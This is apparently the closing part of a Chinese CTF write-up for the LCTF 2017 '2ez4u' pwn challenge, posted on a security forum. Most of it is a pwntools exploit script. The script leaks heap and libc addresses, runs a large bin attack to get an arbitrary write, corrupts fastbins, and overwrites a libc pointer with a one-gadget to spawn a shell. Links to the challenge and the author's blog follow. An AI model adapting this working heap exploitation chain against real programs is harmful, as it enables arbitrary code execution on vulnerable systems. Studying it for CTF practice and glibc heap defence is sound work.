add(0x3f0, 'b'*0x3e0) # victim
add(0x30,  'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)
add(0x400, '0'*0x400)

# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130    # 2
chunk2_addr = HEAP+0x1b0    # 3
victim_addr = HEAP+0xc30    # b

# large bin attack
edit(0xb, p64(chunk1_addr))             # victim
edit(0x1, p64(0x0)+p64(chunk1_addr))    # target

chunk2  = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2

chunk1  = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)

edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))

dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60,  '6'*0x60 ) # 

show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

junk  = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk  = junk.ljust(0xa8, 'A')
junk += p64(0x80)

recovery  = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd

dele(0x5)
dele(0x4)

edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x60,  '4'*0x60 ) # 

recovery  = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40,  '5'*0x30 ) # 

dele(0x5)
gdb.attach(io, 'b *0x%x' % (base_addr+0x124e))
recovery  = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40,  '5'*0x30 ) # 

add(0x40,  p64(LIBC+0x3c5c50)) # 

# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)

add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '/bin/sh') # 
dele(0x1)
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) # 

dele(15)

io.interactive()

参考文章及题目链接

https://github.com/LCTF/LCTF2017/tree/master/src/pwn/2ez4u

 

这篇wp也发在了我的博客上,欢迎mark~
http://eternalsakura13.com/2018/03/21/lctf2/


[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2019-2-2 16:15 被admin编辑 ,原因: 图片本地化
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回